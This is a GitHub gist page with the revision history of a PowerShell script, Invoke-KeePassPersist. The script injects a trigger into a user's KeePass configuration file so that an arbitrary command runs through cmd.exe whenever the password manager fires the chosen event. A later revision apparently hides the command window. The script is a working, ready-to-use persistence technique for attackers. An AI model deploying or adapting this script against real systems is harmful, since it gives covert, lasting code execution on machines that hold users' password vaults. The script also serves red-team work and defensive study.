Skip to content

Instantly share code, notes, and snippets.

@two06
Last active October 6, 2025 14:54
Show Gist options
  • Save two06/15a0239595a943b22c3331f421950ca9 to your computer and use it in GitHub Desktop.
Save two06/15a0239595a943b22c3331f421950ca9 to your computer and use it in GitHub Desktop.

Revisions

  1. two06 renamed this gist Jul 3, 2019. 1 changed file with 0 additions and 0 deletions.
    File renamed without changes.
  2. two06 revised this gist Jul 3, 2019. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion Invoke-KeePassPersist.ps1
    Original file line number Diff line number Diff line change
    @@ -28,7 +28,7 @@ $XMLString = @"
    <Parameter>cmd.exe</Parameter>
    <Parameter>/c !COMMAND!</Parameter>
    <Parameter>False</Parameter>
    <Parameter>0</Parameter>
    <Parameter>1</Parameter>
    <Parameter />
    </Parameters>
    </Action>
  3. two06 created this gist Jul 3, 2019.
    51 changes: 51 additions & 0 deletions Invoke-KeePassPersist.ps1
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,51 @@
    function Invoke-KeePassPersist {
    param(
    [string]$Command = $(throw "-Command is required."),
    [string]$Name = $(throw "-Name is required."),
    [string]$Path = $env:APPDATA + "\KeePass\KeePass.config.xml"
    )
    #Create a new Guid value
    $tGuid = New-Guid
    $GuidBytes = $tGuid.ToByteArray()
    $Guid = [Convert]::ToBase64String($GuidBytes)

    #Define the XML Payload
    $XMLString = @"
    <Trigger>
    <Guid>!GUID!</Guid>
    <Name>!NAME!</Name>
    <Events>
    <Event>
    <TypeGuid>2PMe6cxpSBuJxfzi6ktqlw==</TypeGuid>
    <Parameters />
    </Event>
    </Events>
    <Conditions />
    <Actions>
    <Action>
    <TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
    <Parameters>
    <Parameter>cmd.exe</Parameter>
    <Parameter>/c !COMMAND!</Parameter>
    <Parameter>False</Parameter>
    <Parameter>0</Parameter>
    <Parameter />
    </Parameters>
    </Action>
    </Actions>
    </Trigger>
    "@
    $XMLString = $XMLString -replace "!GUID!",$Guid
    $XMLString = $XMLString -replace "!NAME!",$Name
    $XMLString = $XMLString -replace "!COMMAND!", $Command
    $XML = [xml]$XMLString

    #parse the config file
    $Config = [xml](get-content $Path)
    $foundNode = $Config.Configuration.TriggerSystem

    $triggerNode = $Config.ImportNode($XML.Trigger,$true)
    $TriggersNode = $Config.configuration.Application.TriggerSystem.FirstChild
    $TriggersNode.AppendChild($triggerNode) |out-null
    $Config.Save("$Path")
    }